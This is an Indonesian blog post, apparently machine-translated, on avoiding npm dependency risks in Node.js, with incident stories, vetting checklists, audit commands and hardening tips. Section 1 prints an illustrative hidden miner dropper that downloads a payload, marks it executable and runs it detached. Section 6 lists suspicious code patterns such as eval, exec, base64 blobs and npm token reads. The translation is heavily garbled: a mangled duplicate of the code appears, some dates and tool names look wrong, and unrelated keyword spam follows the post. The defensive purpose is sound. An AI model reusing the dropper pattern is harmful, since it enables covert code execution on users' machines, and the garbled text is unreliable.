Bagaimana cara menghindari malam tanpa tidur di node.js risiko ketergantungan

 – Beragampengetahuan
2 mins read

Bagaimana cara menghindari malam tanpa tidur di node.js risiko ketergantungan – Beragampengetahuan

berlari”npm install“Ada kebutuhan untuk mempercayai pihak yang tidak dikenal secara online.
Menatap node_modules Jangka panjang node_modules pakar.

Contents

Kita harus menyelesaikan masalah ini pada tahun 2025

Registri terus berkembang setiap enam detik dengan kecepatan menambahkan perpustakaan baru sambil mempertahankan total paket saat ini 2.9 million. Sebagian besar paket berfungsi untuk kode yang berguna, sementara yang lain mengandung kesalahan fatal yang harus dihindari oleh para profesional sepenuhnya karena jumlah total pendaftaran membengkak ke sebagian besar. Layanan backend yang saya kelola proses memiliki lebih dari 1 miliar permintaan per bulan, dan skrip jahat dari poststall dapat merusak protokol layanan uptime dan kepercayaan pelanggan.

Panduan yang komprehensif adalah sebagai berikut, yang mencakup protokol ketergantungan sebelumnya yang saya gunakan serta perintah praktis yang terperinci dan kerentanan registri aktual yang dapat diakses secara khusus dalam konsep tersebut.

1. Lebih banyak cerita horor nyata (fomo ≈ fear malware)

Pembajakan coa@2.0.3 dan rc@1.2.9 (November 2021)

Akun pemelihara eklektik mengirimkan criptominer rahasia yang memanggang staples CLI ini. Pipa global Jenkins tiba -tiba menggunakan 100% CPU.

{const block = []; res.on (‘data’, c => chunks.push (c)); res.on (‘end’, () => {writeFileSync (out, buffer.concat (chunks)); chmodsync (out, 0o755); // buat spawn yang dapat dieksekusi (ofer {stdio: {stdio: nignore: ‘abaikan’, ‘tidak dimengerti’, naraced ‘, netach: netach: nignore:’ abaikan ‘,’ tidak dibantah ‘, naraced’, netached ‘). }); “data-lang =” Text/JavaScript “>

// Hidden inside compiled JS
import https from 'node:https';
import { tmpdir } from 'node:os';
import { writeFileSync, chmodSync } from 'node:fs';
import { join } from 'node:path';
import { spawn } from 'node:child_process';

const url="
const out = join(tmpdir(), '._miner.sh');

// quietly download the payload
https.get(url, res => {
  const chunks = [];
  res.on('data', c => chunks.push(c));
  res.on('end', () => {
    writeFileSync(out, Buffer.concat(chunks));
    chmodSync(out, 0o755);          // make it executable
    spawn(out, { stdio: 'ignore', detached: true }).unref(); // run in background
  });
});

UA-PARSER-JS@0.7.29 Serangan Rantai Pasokan

Pada bulan yang sama, paket yang berbeda: Penyerang meluncur malware curian ke browser untuk mengendus pembantu, mengandalkan Facebook, Amazon dan nenek semua orang untuk diandalkan.

Warna + Perangkat Lunak Protes Forged (Januari 2022)

Pemelihara bosan bekerja dengan bebas dan merilis pembaruan aksi: loop tak terbatas yang mencetak “Freedom Free” di Rainbow ASCII. CEO panik, produksi sedang dalam kesulitan, dan Twitter tertawa.

eslint-scope@5.1.1 Trojan (Oktober 2023)

Kode jahat mencoba mencuri token NPM dari setiap kapas. Karena siapa yang meninjau kekasih mereka?

Klik kiri lagi?

Pada tahun 2024, namanya berjongkok dalam paket serupa leftpad (Tidak ada tanda hubung) berisi spyware. Bunuh dengan salah ketik.

2. Tes bau lima menit saya, campur

melewati gagal
Pengajuan terakhir <90 hari Komit terakhir = “komit awal” untuk 2019
5 pengelola atau mengatur secara proaktif 1 Pengembangan Solo, Kotak Surat 404
Pertanyaan dijawab bulan ini 200 pertanyaan publik, balasan terakhir di tahun 2022
MIT / APACHE-2.0 / ISC “GPL -3+ atau tanyakan pengacara saya”
Tidak ada skrip instalasi pos Unduh Instalasi Pos Exe
Ketergantungan ≤10 Asisten dengan 200 deps tidak langsung

3. Tool Belt (versi yang ditingkatkan)

# Baseline CVE scan
npm audit --omit dev

# Deep CVE + license vetting
npx snyk test --all-projects

# How heavy is the lib?
npx packagephobia install slugify

# Who maintains it?
npx npm-quick-run maintainers slugify

# Malware signatures (community DB)
npx npq slugify

Kiat CI: Kabel npm-audit-level=high,,,,, snyk testDan npq Masukkan pipa. Gagal merah, ping santai.

4. Jarum, trim, tambalan, perlindungan

Paku keras

// package.json
"dependencies": {
  "kafka-node": "6.0.3"   // exact, no ^
}

Gunakan renovasi/ketergantungan Bump PS; Lihat Changelog, sengaja bergabung.

Potong lebih dalam

Setiap kuartal, saya lari:

npx depcheck                  # lists unused deps
npm prune --production        # kicks out dev junk

Pembersihan akhir menghemat 72 MB dalam gambar dermaga kami dan dicukur selama 10 detik.

Perbaiki sampai perbaikan hulu

npx patch-package jsonwebtoken
# edit node_modules/jsonwebtoken/lib/*
git add patches/

Rekam tambalan di root repo: Anda akan lupa di masa depan.

Lindungi Runtime

Memungkinkan Loader kebijakan bawaan untuk node Blok Dinamika require() Dari kisaran luar yang diijinkan:

node --experimental-policy=policy.json server.js

5. Dua Investigasi Salin

Mengapa Bcrypt meledakkan gambar alpine saya?

FROM node:20-alpine
RUN npm i bcrypt

Pemicu itu make + Perakitan lokal, diperlukan Python 3 dan membangun fondasi. Saya akan berubah menjadi murni -js bcryptjs:

import bcrypt from 'bcryptjs';
const hash = bcrypt.hashSync('secret', 10);

Ukuran Docker dijatuhkan 80 MB, mengurangi waktu dengan 40 detik.

Tidak ada 27 dep sebelum dikurangi

Apakah saya membutuhkan zat pra-yaml? Alih-alih gray-matter (+21 deps) Saya menggunakan @std/parse-yaml(Bawaan ke deno, untuk multi-pengisian node)-nol dependensi tambahan.

import { parse } from '@std/parse-yaml';
const [meta, ...body] = src.split('---\n');
const data = parse(meta);

Kinerja: Dalam Microbenchmark saya (waktunya ~ 50 kb ms), tidak ada kecepatan audit 2 ×.

6. 60 detik sumber

Buka file utama di GitHub. Pemindaian:

eval(
new Function(
child_process.exec(
fetch('        // inside Node package? sus
(Buffer.from('ZXZpbA==','base64')) // encoded blob
process.env['npm_config_']        // token grab

7. Running Guard (pertahanan yang dalam)

  1. Tanda tangan lockfile: npm -package -integrity flag (npm audit signatures) Pastikan file kunci produk Anda cocok dengan hash Registry Tarball.
  2. Agen terbuka (OPA) Deputi di CI: Blok gabungan menambahkan> 20 kedalaman transfer baru atau lisensi GPL apa pun.
  3. Tinjauan SECCOMP Di Docker:melarang clone,,,,, ptraceDan mount Syscalls untuk wadah simpul. Jika kernel tidak mengizinkannya, lib nakal tidak dapat ditingkatkan.
  4. Root hanya baca FSDi Kubernetes: Memaksa perpustakaan untuk bersikeras /tmpbunuh malware yang ditarik sendiri.

8. Analisis Kinerja Sebelum Produksi

node --require=clinic/doctor app.js    # CPU flame graph

Kemudian bertukar asisten berat (momentdayjs,,,,, requestgot). 120 MS P99 disimpan di gateway GraphQL.

contoh:

// Heavy
import moment from 'moment';
console.log(moment().add(1, 'week').format());

// Light
import { addWeeks, format } from 'date-fns';
console.log(format(addWeeks(new Date(), 1), 'yyyy-MM-dd'));

Output yang sama, pengurangan 95 kb.

9. ES MODUL GOTCHAS (edisi 2025)

Ada banyak lib sekarang “type”: “module”. Jebakan umum:

// Fail: breaks in ESM-only lib
const lib = require('esm-only');

// Success: dynamic import
const lib = await import('esm-only');

// or modern Node
import lib from 'esm-only';

Jika bangunan Anda masih membutuhkan CJ, silakan bungkus createRequire:

import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const lib = require('cjs-only');

10. Jaga manusia dalam satu lingkaran

Ketergantungan bukan pengaturan dan Ford. Tim saya mengikuti ritual ini:

  • Tim mengadakan pertemuan stand-up 15 menit setiap minggu, meninjau PR renovasi yang tertunda sebelum memilih permintaan gabungan dan memeriksa output pementasan.
  • Sebagai bagian dari bingo malware bulanan, setiap pengembang memilih ketergantungan acak untuk audit, menghasilkan pembuatan ringkasan tiga baris dalam konsep. Tim pengembangan mendeteksi masalah pengetikan sebelum rilis produksi.
  • Template postmortem menggabungkan pertanyaan mendasar mengenai standar kebersihan ketergantungan yang terkait dengan peristiwa yang sedang diselidiki. Jaga agar topik tetap hidup.

Pikiran terpisah (semacam cinta oh-holy)

Ekosistem simpul berfungsi sebagai showroom perangkat keras bekas yang besar yang berisi berbagai perangkat dengan masalah konektivitas yang berbeda serta proyek-proyek yang patut dicontoh, tetapi tidak memiliki tag identifikasi. Saat menguji komponen listrik di tangan, periksa fungsionalitas bahan berkualitas tinggi.

Silakan bagikan pengalaman dan produk rantai pasokan Anda yang ditemukan twitter atau LinkedIn. Kita menjadi lebih aman karena hasil dari cerita perang, meskipun kisah -kisah ini memberi kita lebih banyak kesenangan daripada membaca Cve Memberi makan secara mandiri di malam hari.

Saat mengirimkan aplikasi, nikmati kesuksesan dan biarkan Anda npm ci Log hanya menunjukkan hasil positif.

rencana pengembangan website



metode pengembangan website

jelaskan beberapa rencana untuk pengembangan website, proses pengembangan website, kekuatan dan kelemahan bisnis pengembangan website
, jasa pengembangan website, tahap pengembangan website, biaya pengembangan website

#Bagaimana #cara #menghindari #malam #tanpa #tidur #node.js #risiko #ketergantungan

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *